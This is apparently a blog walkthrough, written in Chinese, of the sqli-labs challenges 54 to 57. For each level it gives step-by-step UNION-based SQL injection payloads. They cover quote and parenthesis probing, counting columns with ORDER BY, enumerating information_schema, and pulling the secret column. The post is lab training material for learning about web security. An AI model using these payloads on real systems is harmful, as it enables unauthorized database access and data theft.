sqli-labs(54-57)-challenges-Union查询
基础的写完了,进阶的练练手,莫名的有点紧张激动
54 10步之内获得flag-union-单引号

意思是10次之内获得flag,重置数据库后表名什么的会改变
1.?id=1显示
2.?id=1 and 1=2显示 字符型
3.?id=1' order by 4--+不显示
4.?id=1' order by 3--+显示
5.?id=-1' union select 1,2,3--+显示2,3

6.获取数据库名和表名?id=-1 ' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),database()--+

7.h获取字段名?id=-1 ' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name='v7eq71i308')--+

8.获取密码?id=-1 ' union select 1,database(),(select secret_XUX0 from v7eq71i308)--+

但是提交密码,还是说不正确,不知道问题出在哪,数据库中也是那个密码
可能代码错了吧
换了个新的靶场,正确了

55 14步内获取flag-union-数字-( )
1.?id=1 and 1=1显示
2.?id=1 and 1=2不显示,数字型
3.?id=2 and 1=1显示1的查询结果,有()
4.?id=2) order by 4--+不显示
5.?id=2) order by 3--+显示,可用字段名数为3
6.?id=-2) union select 1,2,database()--+第2,3个字段名可用

7.获取表名
?id=-2) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),database()--+

8.获取字段名
?id=-2) union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='8zokmrvsxe'),database()--+

9.获取flag
?id=-2) union select 1,(select secret_70XQ from 8zokmrvsxe),database()--+

56 14步内获得flag-union-单引号-括号
1.?id=2 and 1=2显示2的查询结果,不是数字型
2.id=2'不显示
3.id=2' and '1'='1显示1的查询结果,单引号型带括号
4.id=2') order by 4不显示
5.id=2') order by 3显示,字段数为3
6.?id=-2' )union select 1,2,3--+,2,3字段可用
7.获取表名
?id=-2' )union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='challenges'),3--+

8.获取字段名
?id=-2' )union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='challenges' and table_name='3revu8wvaf'),3--+

9.获取flag
?id=-2' )union select 1,(select secret_9CUZ from 3revu8wvaf),3--+

57 14步内获得flag-union-双引号
1.?id=2 and 1=2显示,不是数字型
2.?id=2'显示,不是单引号
3.?id=2"不显示,双引号
4.?id=2" and "1"="1显示2的查询结果,说明没有( )
5.?id=2" order by 4--+不显示
6.?id=2" order by 3--+显示,字段数为3
7.?id=-2" union select 1,2,database()--+,2,3字段可用

8.获取表名
?id=-2" union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='challenges'),3--+

9.获取字段名
?id=-2" union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='challenges' and table_name='0q9wxz2s23'),3--+

10.获取flag
?id=-2" union select 1,(select secret_353W from 0q9wxz2s23),3--+


浙公网安备 33010602011771号